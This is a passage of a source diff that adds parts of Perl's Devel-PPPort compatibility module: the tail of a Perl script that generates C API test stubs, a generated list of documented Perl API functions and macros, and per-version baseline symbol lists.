+ my($n, $p, $d) = $a =~ /^ (\w+(?:\s+\w+)*)\s* # type name => $n
+ (\**) # pointer => $p
+ (?:\s*const\s*)? # const
+ ((?:\[[^\]]*\])*) # dimension => $d
+ $/x
+ or die "$0 - cannot parse argument: [$a]\n";
+ if (exists $amap{$n}) {
+ push @arg, $amap{$n};
+ next;
+ }
+ $n = $tmap{$n} || $n;
+ if ($n eq 'const char' and $p eq '*' and !$f->{flags}{f}) {
+ push @arg, '"foo"';
+ }
+ else {
+ my $v = 'arg' . $i++;
+ push @arg, $v;
+ $stack .= " static $n $p$v$d;\n";
+ }
+ }
+
+ unless ($f->{flags}{n} || $f->{flags}{'m'}) {
+ $stack = " dTHX;\n$stack";
+ $aTHX = @arg ? 'aTHX_ ' : 'aTHX';
+ }
+
+ if ($stack{$f->{name}}) {
+ my $s = '';
+ for (@{$stack{$f->{name}}}) {
+ $s .= " $_\n";
+ }
+ $stack = "$s$stack";
+ }
+
+ my $args = join ', ', @arg;
+ my $rvt = $f->{ret} || 'void';
+ my $ret;
+ if ($void{$rvt}) {
+ $ret = $castvoid{$f->{name}} ? '(void) ' : '';
+ }
+ else {
+ $stack .= " $rvt rval;\n";
+ $ret = $ignorerv{$f->{name}} ? '(void) ' : "rval = ";
+ }
+ my $aTHX_args = "$aTHX$args";
+
+ if (!$f->{flags}{'m'} or $f->{flags}{'b'} or @arg > 0) {
+ $args = "($args)";
+ $aTHX_args = "($aTHX_args)";
+ }
+
+ print OUT <<HEAD;
+/******************************************************************************
+*
+* $f->{name}
+*
+******************************************************************************/
+
+HEAD
+
+ if ($todo{$f->{name}}) {
+ my($ver,$sub) = $todo{$f->{name}} =~ /^5\.(\d{3})(\d{3})$/ or die;
+ for ($ver, $sub) {
+ s/^0+(\d)/$1/
+ }
+ if ($ver < 6 && $sub > 0) {
+ $sub =~ s/0$// or die;
+ }
+ print OUT "#if PERL_VERSION > $ver || (PERL_VERSION == $ver && PERL_SUBVERSION >= $sub) /* TODO */\n";
+ }
+
+ my $final = $varargs
+ ? "$Perl_$f->{name}$aTHX_args"
+ : "$f->{name}$args";
+
+ $f->{cond} and print OUT "#if $f->{cond}\n";
+
+ print OUT <<END;
+void _DPPP_test_$f->{name} (void)
+{
+ dXSARGS;
+$stack
+ {
+#ifdef $f->{name}
+ $ret$f->{name}$args;
+#endif
+ }
+
+ {
+#ifdef $f->{name}
+ $ret$final;
+#else
+ $ret$Perl_$f->{name}$aTHX_args;
+#endif
+ }
+}
+END
+
+ $f->{cond} and print OUT "#endif\n";
+ $todo{$f->{name}} and print OUT "#endif\n";
+
+ print OUT "\n";
+}
+
+@ARGV and close OUT;
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc
new file mode 100644
index 00000000000..fe153541b2a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/apidoc.fnc
@@ -0,0 +1,485 @@
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+:
+: !!!! Do NOT edit this file directly! -- Edit devel/mkapidoc.sh instead. !!!!
+:
+: This file was automatically generated from the API documentation scattered
+: all over the Perl source code. To learn more about how all this works,
+: please read the F<HACKERS> file that came with this distribution.
+:
+::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
+
+:
+: This file lists all API functions/macros that are documented in the Perl
+: source code, but are not contained in F<embed.fnc>.
+:
+
+AmUx|Perl_keyword_plugin_t|PL_keyword_plugin
+AmU|Perl_check_t *|PL_check
+AmU|yy_parser *|PL_parser
+AmU||G_ARRAY
+AmU||G_DISCARD
+AmU||G_EVAL
+AmU||G_NOARGS
+AmU||G_SCALAR
+AmU||G_VOID
+AmU||HEf_SVKEY
+AmU||MARK
+AmU||Nullav
+AmU||Nullch
+AmU||Nullcv
+AmU||Nullhv
+AmU||Nullsv
+AmU||ORIGMARK
+AmU||SP
+AmU||SVt_INVLIST
+AmU||SVt_IV
+AmU||SVt_NULL
+AmU||SVt_NV
+AmU||SVt_PV
+AmU||SVt_PVAV
+AmU||SVt_PVCV
+AmU||SVt_PVFM
+AmU||SVt_PVGV
+AmU||SVt_PVHV
+AmU||SVt_PVIO
+AmU||SVt_PVIV
+AmU||SVt_PVLV
+AmU||SVt_PVMG
+AmU||SVt_PVNV
+AmU||SVt_REGEXP
+AmU||UNDERBAR
+AmU||XCPT_CATCH
+AmU||XCPT_TRY_END
+AmU||XCPT_TRY_START
+AmU||XS
+AmU||XS_EXTERNAL
+AmU||XS_INTERNAL
+AmU||XS_VERSION
+AmU||newXSproto|char* name|XSUBADDR_t f|char* filename|const char *proto
+AmU||svtype
+Ama|SV*|newSVpvs_flags|const char* s|U32 flags
+Ama|SV*|newSVpvs_share|const char* s
+Ama|SV*|newSVpvs|const char* s
+Ama|char*|savepvs|const char* s
+Ama|char*|savesharedpvs|const char* s
+Amn|(whatever)|RETVAL
+Amn|(whatever)|THIS
+Amn|HV*|PL_modglobal
+Amn|I32|ax
+Amn|I32|items
+Amn|I32|ix
+Amn|IV|POPi
+Amn|NV|POPn
+Amn|Perl_ophook_t|PL_opfreehook
+Amn|STRLEN|PL_na
+Amn|SV*|POPs
+Amn|SV|PL_sv_no
+Amn|SV|PL_sv_undef
+Amn|SV|PL_sv_yes
+Amn|U32|GIMME
+Amn|U32|GIMME_V
+Amn|UV|POPu
+Amn|char*|CLASS
+Amn|char*|POPp
+Amn|char*|POPpbytex
+Amn|char*|POPpx
+Amn|long|POPl
+Amn|long|POPul
+Amn|peep_t|PL_peepp
+Amn|peep_t|PL_rpeepp
+Amn|void|DECLARATION_FOR_LC_NUMERIC_MANIPULATION
+Ams||ENTER
+Ams||FREETMPS
+Ams||LEAVE
+Ams||MULTICALL
+Ams||POP_MULTICALL
+Ams||PUSH_MULTICALL
+Ams||PUTBACK
+Ams||SAVETMPS
+Ams||SPAGAIN
+Ams||XCPT_RETHROW
+Ams||XSRETURN_EMPTY
+Ams||XSRETURN_NO
+Ams||XSRETURN_UNDEF
+Ams||XSRETURN_YES
+Ams||XS_APIVERSION_BOOTCHECK
+Ams||XS_VERSION_BOOTCHECK
+Ams||dAX
+Ams||dAXMARK
+Ams||dITEMS
+Ams||dMARK
+Ams||dMULTICALL
+Ams||dORIGMARK
+Ams||dSP
+Ams||dUNDERBAR
+Ams||dXCPT
+Ams||dXSARGS
+Ams||dXSI32
+AmxU|PAD *|PL_comppad
+AmxU|PADNAMELIST *|PL_comppad_name
+AmxU|SV **|PL_curpad
+AmxU|SV *|PL_parser-E<gt>linestr
+AmxU|char *|PL_parser-E<gt>bufend
+AmxU|char *|PL_parser-E<gt>bufptr
+AmxU|char *|PL_parser-E<gt>linestart
+Amx|COPHH *|cophh_copy|COPHH *cophh
+Amx|COPHH *|cophh_delete_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Amx|COPHH *|cophh_delete_pvs|const COPHH *cophh|const char *key|U32 flags
+Amx|COPHH *|cophh_delete_pv|const COPHH *cophh|const char *key|U32 hash|U32 flags
+Amx|COPHH *|cophh_delete_sv|const COPHH *cophh|SV *key|U32 hash|U32 flags
+Amx|COPHH *|cophh_new_empty
+Amx|COPHH *|cophh_store_pvn|COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|SV *value|U32 flags
+Amx|COPHH *|cophh_store_pvs|const COPHH *cophh|const char *key|SV *value|U32 flags
+Amx|COPHH *|cophh_store_pv|const COPHH *cophh|const char *key|U32 hash|SV *value|U32 flags
+Amx|COPHH *|cophh_store_sv|const COPHH *cophh|SV *key|U32 hash|SV *value|U32 flags
+Amx|HV *|cophh_2hv|const COPHH *cophh|U32 flags
+Amx|PAD **|PadlistARRAY|PADLIST padlist
+Amx|PADLIST *|CvPADLIST|CV *cv
+Amx|PADNAME **|PadlistNAMESARRAY|PADLIST padlist
+Amx|PADNAME **|PadnamelistARRAY|PADNAMELIST pnl
+Amx|PADNAMELIST *|PadlistNAMES|PADLIST padlist
+Amx|SSize_t|PadMAX|PAD pad
+Amx|SSize_t|PadlistMAX|PADLIST padlist
+Amx|SSize_t|PadlistNAMESMAX|PADLIST padlist
+Amx|SSize_t|PadnameREFCNT|PADNAME pn
+Amx|SSize_t|PadnamelistMAX|PADNAMELIST pnl
+Amx|SSize_t|PadnamelistREFCNT|PADNAMELIST pnl
+Amx|STRLEN|PadnameLEN|PADNAME pn
+Amx|SV **|PadARRAY|PAD pad
+Amx|SV *|PadnameSV|PADNAME pn
+Amx|SV *|cophh_fetch_pvn|const COPHH *cophh|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Amx|SV *|cophh_fetch_pvs|const COPHH *cophh|const char *key|U32 flags
+Amx|SV *|cophh_fetch_pv|const COPHH *cophh|const char *key|U32 hash|U32 flags
+Amx|SV *|cophh_fetch_sv|const COPHH *cophh|SV *key|U32 hash|U32 flags
+Amx|SV*|newSVpadname|PADNAME *pn
+Amx|U32|PadlistREFCNT|PADLIST padlist
+Amx|bool|PadnameUTF8|PADNAME pn
+Amx|char *|PadnamePV|PADNAME pn
+Amx|void|BhkDISABLE|BHK *hk|which
+Amx|void|BhkENABLE|BHK *hk|which
+Amx|void|BhkENTRY_set|BHK *hk|which|void *ptr
+Amx|void|PadnameREFCNT_dec|PADNAME pn
+Amx|void|PadnamelistREFCNT_dec|PADNAMELIST pnl
+Amx|void|cophh_free|COPHH *cophh
+Amx|void|lex_stuff_pvs|const char *pv|U32 flags
+Am|AV*|GvAV|GV* gv
+Am|CV*|GvCV|GV* gv
+Am|HV *|cop_hints_2hv|const COP *cop|U32 flags
+Am|HV*|CvSTASH|CV* cv
+Am|HV*|GvHV|GV* gv
+Am|HV*|SvSTASH|SV* sv
+Am|HV*|gv_stashpvs|const char* name|I32 create
+Am|IV|SvIVX|SV* sv
+Am|IV|SvIV_nomg|SV* sv
+Am|IV|SvIVx|SV* sv
+Am|IV|SvIV|SV* sv
+Am|NV|SvNVX|SV* sv
+Am|NV|SvNV_nomg|SV* sv
+Am|NV|SvNVx|SV* sv
+Am|NV|SvNV|SV* sv
+Am|OP*|LINKLIST|OP *o
+Am|OP*|OpSIBLING|OP *o
+Am|PADOFFSET|pad_add_name_pvs|const char *name|U32 flags|HV *typestash|HV *ourstash
+Am|PADOFFSET|pad_findmy_pvs|const char *name|U32 flags
+Am|REGEXP *|SvRX|SV *sv
+Am|STRLEN|HeKLEN|HE* he
+Am|STRLEN|HvENAMELEN|HV *stash
+Am|STRLEN|HvNAMELEN|HV *stash
+Am|STRLEN|SvCUR|SV* sv
+Am|STRLEN|SvLEN|SV* sv
+Am|STRLEN|UTF8SKIP|char* s
+Am|STRLEN|UVCHR_SKIP|UV cp
+Am|STRLEN|isUTF8_CHAR|const U8 *s|const U8 *e
+Am|SV *|boolSV|bool b
+Am|SV *|cop_hints_fetch_pvn|const COP *cop|const char *keypv|STRLEN keylen|U32 hash|U32 flags
+Am|SV *|cop_hints_fetch_pvs|const COP *cop|const char *key|U32 flags
+Am|SV *|cop_hints_fetch_pv|const COP *cop|const char *key|U32 hash|U32 flags
+Am|SV *|cop_hints_fetch_sv|const COP *cop|SV *key|U32 hash|U32 flags
+Am|SV *|sv_setref_pvs|const char* s
+Am|SV**|hv_fetchs|HV* tb|const char* key|I32 lval
+Am|SV**|hv_stores|HV* tb|const char* key|NULLOK SV* val
+Am|SV*|GvSV|GV* gv
+Am|SV*|HeSVKEY_force|HE* he
+Am|SV*|HeSVKEY_set|HE* he|SV* sv
+Am|SV*|HeSVKEY|HE* he
+Am|SV*|HeVAL|HE* he
+Am|SV*|ST|int ix
+Am|SV*|SvREFCNT_inc_NN|SV* sv
+Am|SV*|SvREFCNT_inc_simple_NN|SV* sv
+Am|SV*|SvREFCNT_inc_simple|SV* sv
+Am|SV*|SvREFCNT_inc|SV* sv
+Am|SV*|SvRV|SV* sv
+Am|SV*|newRV_inc|SV* sv
+Am|SV*|newSVpvn_utf8|NULLOK const char* s|STRLEN len|U32 utf8
+Am|U32|HeHASH|HE* he
+Am|U32|HeUTF8|HE* he
+Am|U32|OP_CLASS|OP *o
+Am|U32|SvGAMAGIC|SV* sv
+Am|U32|SvIOKp|SV* sv
+Am|U32|SvIOK|SV* sv
+Am|U32|SvIsCOW|SV* sv
+Am|U32|SvNIOKp|SV* sv
+Am|U32|SvNIOK|SV* sv
+Am|U32|SvNOKp|SV* sv
+Am|U32|SvNOK|SV* sv
+Am|U32|SvOK|SV* sv
+Am|U32|SvOOK|SV* sv
+Am|U32|SvPOKp|SV* sv
+Am|U32|SvPOK|SV* sv
+Am|U32|SvREFCNT|SV* sv
+Am|U32|SvROK|SV* sv
+Am|U32|SvUTF8|SV* sv
+Am|U32|XopFLAGS|XOP *xop
+Am|U8|READ_XDIGIT|char str*
+Am|U8|toFOLD|U8 ch
+Am|U8|toLOWER_L1|U8 ch
+Am|U8|toLOWER_LC|U8 ch
+Am|U8|toLOWER|U8 ch
+Am|U8|toTITLE|U8 ch
+Am|U8|toUPPER|U8 ch
+Am|UV|SvUVX|SV* sv
+Am|UV|SvUV_nomg|SV* sv
+Am|UV|SvUVx|SV* sv
+Am|UV|SvUV|SV* sv
+Am|UV|toFOLD_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toFOLD_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toLOWER_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toLOWER_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toTITLE_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toTITLE_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|UV|toUPPER_utf8|U8* p|U8* s|STRLEN* lenp
+Am|UV|toUPPER_uvchr|UV cp|U8* s|STRLEN* lenp
+Am|bool|DO_UTF8|SV* sv
+Am|bool|OP_TYPE_IS_OR_WAS|OP *o|Optype type
+Am|bool|OP_TYPE_IS|OP *o|Optype type
+Am|bool|OpHAS_SIBLING|OP *o
+Am|bool|SvIOK_UV|SV* sv
+Am|bool|SvIOK_notUV|SV* sv
+Am|bool|SvIsCOW_shared_hash|SV* sv
+Am|bool|SvRXOK|SV* sv
+Am|bool|SvTAINTED|SV* sv
+Am|bool|SvTRUE_nomg|SV* sv
+Am|bool|SvTRUE|SV* sv
+Am|bool|SvUOK|SV* sv
+Am|bool|SvVOK|SV* sv
+Am|bool|isALPHANUMERIC|char ch
+Am|bool|isALPHA|char ch
+Am|bool|isASCII|char ch
+Am|bool|isBLANK|char ch
+Am|bool|isCNTRL|char ch
+Am|bool|isDIGIT|char ch
+Am|bool|isGRAPH|char ch
+Am|bool|isIDCONT|char ch
+Am|bool|isIDFIRST|char ch
+Am|bool|isLOWER|char ch
+Am|bool|isOCTAL|char ch
+Am|bool|isPRINT|char ch
+Am|bool|isPSXSPC|char ch
+Am|bool|isPUNCT|char ch
+Am|bool|isSPACE|char ch
+Am|bool|isUPPER|char ch
+Am|bool|isWORDCHAR|char ch
+Am|bool|isXDIGIT|char ch
+Am|bool|memEQ|char* s1|char* s2|STRLEN len
+Am|bool|memNE|char* s1|char* s2|STRLEN len
+Am|bool|strEQ|char* s1|char* s2
+Am|bool|strGE|char* s1|char* s2
+Am|bool|strGT|char* s1|char* s2
+Am|bool|strLE|char* s1|char* s2
+Am|bool|strLT|char* s1|char* s2
+Am|bool|strNE|char* s1|char* s2
+Am|bool|strnEQ|char* s1|char* s2|STRLEN len
+Am|bool|strnNE|char* s1|char* s2|STRLEN len
+Am|char *|SvGROW|SV* sv|STRLEN len
+Am|char*|HePV|HE* he|STRLEN len
+Am|char*|HvENAME|HV* stash
+Am|char*|HvNAME|HV* stash
+Am|char*|SvEND|SV* sv
+Am|char*|SvPVX|SV* sv
+Am|char*|SvPV_force_nomg|SV* sv|STRLEN len
+Am|char*|SvPV_force|SV* sv|STRLEN len
+Am|char*|SvPV_nolen|SV* sv
+Am|char*|SvPV_nomg_nolen|SV* sv
+Am|char*|SvPV_nomg|SV* sv|STRLEN len
+Am|char*|SvPVbyte_force|SV* sv|STRLEN len
+Am|char*|SvPVbyte_nolen|SV* sv
+Am|char*|SvPVbytex_force|SV* sv|STRLEN len
+Am|char*|SvPVbytex|SV* sv|STRLEN len
+Am|char*|SvPVbyte|SV* sv|STRLEN len
+Am|char*|SvPVutf8_force|SV* sv|STRLEN len
+Am|char*|SvPVutf8_nolen|SV* sv
+Am|char*|SvPVutf8x_force|SV* sv|STRLEN len
+Am|char*|SvPVutf8x|SV* sv|STRLEN len
+Am|char*|SvPVutf8|SV* sv|STRLEN len
+Am|char*|SvPVx|SV* sv|STRLEN len
+Am|char*|SvPV|SV* sv|STRLEN len
+Am|const char *|OP_DESC|OP *o
+Am|const char *|OP_NAME|OP *o
+Am|int|AvFILL|AV* av
+Am|svtype|SvTYPE|SV* sv
+Am|unsigned char|HvENAMEUTF8|HV *stash
+Am|unsigned char|HvNAMEUTF8|HV *stash
+Am|void *|CopyD|void* src|void* dest|int nitems|type
+Am|void *|MoveD|void* src|void* dest|int nitems|type
+Am|void *|ZeroD|void* dest|int nitems|type
+Am|void*|HeKEY|HE* he
+Am|void|Copy|void* src|void* dest|int nitems|type
+Am|void|EXTEND|SP|SSize_t nitems
+Am|void|Move|void* src|void* dest|int nitems|type
+Am|void|Newxc|void* ptr|int nitems|type|cast
+Am|void|Newxz|void* ptr|int nitems|type
+Am|void|Newx|void* ptr|int nitems|type
+Am|void|OpLASTSIB_set|OP *o|OP *parent
+Am|void|OpMAYBESIB_set|OP *o|OP *sib|OP *parent
+Am|void|OpMORESIB_set|OP *o|OP *sib
+Am|void|PERL_SYS_INIT3|int *argc|char*** argv|char*** env
+Am|void|PERL_SYS_INIT|int *argc|char*** argv
+Am|void|PERL_SYS_TERM|
+Am|void|PUSHMARK|SP
+Am|void|PUSHi|IV iv
+Am|void|PUSHmortal
+Am|void|PUSHn|NV nv
+Am|void|PUSHp|char* str|STRLEN len
+Am|void|PUSHs|SV* sv
+Am|void|PUSHu|UV uv
+Am|void|PoisonFree|void* dest|int nitems|type
+Am|void|PoisonNew|void* dest|int nitems|type
+Am|void|PoisonWith|void* dest|int nitems|type|U8 byte
+Am|void|Poison|void* dest|int nitems|type
+Am|void|RESTORE_LC_NUMERIC
+Am|void|Renewc|void* ptr|int nitems|type|cast
+Am|void|Renew|void* ptr|int nitems|type
+Am|void|STORE_LC_NUMERIC_FORCE_TO_UNDERLYING
+Am|void|STORE_LC_NUMERIC_SET_TO_NEEDED
+Am|void|Safefree|void* ptr
+Am|void|StructCopy|type *src|type *dest|type
+Am|void|SvCUR_set|SV* sv|STRLEN len
+Am|void|SvGETMAGIC|SV* sv
+Am|void|SvIOK_off|SV* sv
+Am|void|SvIOK_only_UV|SV* sv
+Am|void|SvIOK_only|SV* sv
+Am|void|SvIOK_on|SV* sv
+Am|void|SvIV_set|SV* sv|IV val
+Am|void|SvLEN_set|SV* sv|STRLEN len
+Am|void|SvLOCK|SV* sv
+Am|void|SvMAGIC_set|SV* sv|MAGIC* val
+Am|void|SvNIOK_off|SV* sv
+Am|void|SvNOK_off|SV* sv
+Am|void|SvNOK_only|SV* sv
+Am|void|SvNOK_on|SV* sv
+Am|void|SvNV_set|SV* sv|NV val
+Am|void|SvOOK_offset|NN SV*sv|STRLEN len
+Am|void|SvPOK_off|SV* sv
+Am|void|SvPOK_only_UTF8|SV* sv
+Am|void|SvPOK_only|SV* sv
+Am|void|SvPOK_on|SV* sv
+Am|void|SvPV_set|SV* sv|char* val
+Am|void|SvREFCNT_dec_NN|SV* sv
+Am|void|SvREFCNT_dec|SV* sv
+Am|void|SvREFCNT_inc_simple_void_NN|SV* sv
+Am|void|SvREFCNT_inc_simple_void|SV* sv
+Am|void|SvREFCNT_inc_void_NN|SV* sv
+Am|void|SvREFCNT_inc_void|SV* sv
+Am|void|SvROK_off|SV* sv
+Am|void|SvROK_on|SV* sv
+Am|void|SvRV_set|SV* sv|SV* val
+Am|void|SvSETMAGIC|SV* sv
+Am|void|SvSHARE|SV* sv
+Am|void|SvSTASH_set|SV* sv|HV* val
+Am|void|SvSetMagicSV_nosteal|SV* dsv|SV* ssv
+Am|void|SvSetMagicSV|SV* dsv|SV* ssv
+Am|void|SvSetSV_nosteal|SV* dsv|SV* ssv
+Am|void|SvSetSV|SV* dsv|SV* ssv
+Am|void|SvTAINTED_off|SV* sv
+Am|void|SvTAINTED_on|SV* sv
+Am|void|SvTAINT|SV* sv
+Am|void|SvUNLOCK|SV* sv
+Am|void|SvUPGRADE|SV* sv|svtype type
+Am|void|SvUTF8_off|SV *sv
+Am|void|SvUTF8_on|SV *sv
+Am|void|SvUV_set|SV* sv|UV val
+Am|void|XPUSHi|IV iv
+Am|void|XPUSHmortal
+Am|void|XPUSHn|NV nv
+Am|void|XPUSHp|char* str|STRLEN len
+Am|void|XPUSHs|SV* sv
+Am|void|XPUSHu|UV uv
+Am|void|XSRETURN_IV|IV iv
+Am|void|XSRETURN_NV|NV nv
+Am|void|XSRETURN_PV|char* str
+Am|void|XSRETURN_UV|IV uv
+Am|void|XSRETURN|int nitems
+Am|void|XST_mIV|int pos|IV iv
+Am|void|XST_mNO|int pos
+Am|void|XST_mNV|int pos|NV nv
+Am|void|XST_mPV|int pos|char* str
+Am|void|XST_mUNDEF|int pos
+Am|void|XST_mYES|int pos
+Am|void|XopDISABLE|XOP *xop|which
+Am|void|XopENABLE|XOP *xop|which
+Am|void|XopENTRY_set|XOP *xop|which|value
+Am|void|Zero|void* dest|int nitems|type
+Am|void|mPUSHi|IV iv
+Am|void|mPUSHn|NV nv
+Am|void|mPUSHp|char* str|STRLEN len
+Am|void|mPUSHs|SV* sv
+Am|void|mPUSHu|UV uv
+Am|void|mXPUSHi|IV iv
+Am|void|mXPUSHn|NV nv
+Am|void|mXPUSHp|char* str|STRLEN len
+Am|void|mXPUSHs|SV* sv
+Am|void|mXPUSHu|UV uv
+Am|void|sv_catpv_nomg|SV* sv|const char* ptr
+Am|void|sv_catpvn_nomg|SV* sv|const char* ptr|STRLEN len
+Am|void|sv_catpvs_flags|SV* sv|const char* s|I32 flags
+Am|void|sv_catpvs_mg|SV* sv|const char* s
+Am|void|sv_catpvs_nomg|SV* sv|const char* s
+Am|void|sv_catpvs|SV* sv|const char* s
+Am|void|sv_catsv_nomg|SV* dsv|SV* ssv
+Am|void|sv_setpvs_mg|SV* sv|const char* s
+Am|void|sv_setpvs|SV* sv|const char* s
+Am|void|sv_setsv_nomg|SV* dsv|SV* ssv
+Am||XopENTRYCUSTOM|const OP *o|which
+Am||XopENTRY|XOP *xop|which
+mU||LVRET
+mn|GV *|PL_DBsub
+mn|GV*|PL_last_in_gv
+mn|GV*|PL_ofsgv
+mn|SV *|PL_DBsingle
+mn|SV *|PL_DBtrace
+mn|SV*|PL_rs
+mn|bool|PL_dowarn
+ms||djSP
+mx|U32|BhkFLAGS|BHK *hk
+mx|void *|BhkENTRY|BHK *hk|which
+mx|void|CALL_BLOCK_HOOKS|which|arg
+m|HV *|PAD_COMPNAME_OURSTASH|PADOFFSET po
+m|HV *|PAD_COMPNAME_TYPE|PADOFFSET po
+m|HV *|PadnameOURSTASH
+m|HV *|PadnameTYPE|PADNAME pn
+m|STRLEN|PAD_COMPNAME_GEN_set|PADOFFSET po|int gen
+m|STRLEN|PAD_COMPNAME_GEN|PADOFFSET po
+m|SV *|CX_CURPAD_SV|struct context|PADOFFSET po
+m|SV *|PAD_BASE_SV |PADLIST padlist|PADOFFSET po
+m|SV *|PAD_SETSV |PADOFFSET po|SV* sv
+m|SV *|PAD_SV |PADOFFSET po
+m|SV *|PAD_SVl |PADOFFSET po
+m|SV *|refcounted_he_fetch_pvs|const struct refcounted_he *chain|const char *key|U32 flags
+m|U32|PAD_COMPNAME_FLAGS|PADOFFSET po
+m|U32|SvTHINKFIRST|SV *sv
+m|bool|CvWEAKOUTSIDE|CV *cv
+m|bool|PadnameIsOUR|PADNAME pn
+m|bool|PadnameIsSTATE|PADNAME pn
+m|bool|PadnameOUTER|PADNAME pn
+m|char *|PAD_COMPNAME_PV|PADOFFSET po
+m|struct refcounted_he *|refcounted_he_new_pvs|struct refcounted_he *parent|const char *key|SV *value|U32 flags
+m|void|CX_CURPAD_SAVE|struct context
+m|void|PAD_CLONE_VARS|PerlInterpreter *proto_perl|CLONE_PARAMS* param
+m|void|PAD_RESTORE_LOCAL|PAD *opad
+m|void|PAD_SAVE_LOCAL|PAD *opad|PAD *npad
+m|void|PAD_SAVE_SETNULLPAD
+m|void|PAD_SET_CUR |PADLIST padlist|I32 n
+m|void|PAD_SET_CUR_NOSAVE |PADLIST padlist|I32 n
+m|void|SAVECLEARSV |SV **svp
+m|void|SAVECOMPPAD
+m|void|SAVEPADSV |PADOFFSET po
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5003070 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5003070
new file mode 100644
index 00000000000..722f52f91f0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5003070
@@ -0,0 +1,42 @@
+5.003070
+HEf_SVKEY # E
+HeHASH # U
+HeKEY # U
+HeKLEN # U
+HeSVKEY # U
+HeSVKEY_force # U
+HeVAL # U
+cv_const_sv # U
+do_open # E (Perl_do_open)
+gv_efullname3 # U
+gv_fullname3 # U
+gv_stashpvn # E
+hv_delete_ent # U
+hv_exists_ent # U
+hv_fetch_ent # U
+hv_iterkeysv # E
+hv_ksplit # E
+hv_store_ent # U
+my_pclose # E (Perl_my_pclose)
+my_popen # E (Perl_my_popen)
+sv_gets # E (Perl_sv_gets)
+unsharepvn # E
+PERL_HASH # added by devel/scanprov
+PERL_INT_MAX # added by devel/scanprov
+PERL_INT_MIN # added by devel/scanprov
+PERL_LONG_MAX # added by devel/scanprov
+PERL_LONG_MIN # added by devel/scanprov
+PERL_QUAD_MAX # added by devel/scanprov
+PERL_QUAD_MIN # added by devel/scanprov
+PERL_SHORT_MAX # added by devel/scanprov
+PERL_SHORT_MIN # added by devel/scanprov
+PERL_UCHAR_MAX # added by devel/scanprov
+PERL_UCHAR_MIN # added by devel/scanprov
+PERL_UINT_MAX # added by devel/scanprov
+PERL_UINT_MIN # added by devel/scanprov
+PERL_ULONG_MAX # added by devel/scanprov
+PERL_ULONG_MIN # added by devel/scanprov
+PERL_UQUAD_MAX # added by devel/scanprov
+PERL_UQUAD_MIN # added by devel/scanprov
+PERL_USHORT_MAX # added by devel/scanprov
+PERL_USHORT_MIN # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004000
new file mode 100644
index 00000000000..38b77a15309
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004000
@@ -0,0 +1,52 @@
+5.004000
+GIMME_V # E
+G_VOID # E
+HePV # A
+HeSVKEY_set # U
+POPu # E
+PUSHu # U
+SvSetMagicSV # U
+SvSetMagicSV_nosteal # U
+SvSetSV_nosteal # U
+SvTAINTED # U
+SvTAINTED_off # U
+SvTAINTED_on # U
+SvUV # U
+SvUVX # U
+SvUVx # U
+XPUSHu # U
+block_end # E (Perl_block_end)
+block_gimme # E
+block_start # E (Perl_block_start)
+boolSV # U
+call_list # E
+delimcpy # U
+gv_autoload4 # U
+gv_fetchmethod_autoload # E
+hv_delayfree_ent # E
+hv_free_ent # E
+ibcmp_locale # U
+intro_my # E
+isPRINT # U
+memEQ # U
+memNE # U
+my_failure_exit # E
+newRV_inc # U
+newRV_noinc # E
+rsignal # E
+rsignal_state # E
+save_I16 # E
+save_gp # E
+share_hek # E
+start_subparse # E (Perl_start_subparse)
+sv_2uv # U
+sv_cmp_locale # E
+sv_derived_from # E
+sv_setuv # E
+sv_taint # U
+sv_tainted # E
+sv_untaint # E
+sv_vcatpvfn # E
+sv_vsetpvfn # E
+toLOWER_LC # U
+SvUVXx # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004010
new file mode 100644
index 00000000000..8c298666039
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004010
@@ -0,0 +1 @@
+5.004010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004020
new file mode 100644
index 00000000000..4b43fdf8e46
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004020
@@ -0,0 +1 @@
+5.004020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004030
new file mode 100644
index 00000000000..e45facbb1f9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004030
@@ -0,0 +1 @@
+5.004030
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004040
new file mode 100644
index 00000000000..69ccd5d62c5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004040
@@ -0,0 +1 @@
+5.004040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004050 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004050
new file mode 100644
index 00000000000..daf95d5f00c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5004050
@@ -0,0 +1,42 @@
+5.004050
+PL_na # E
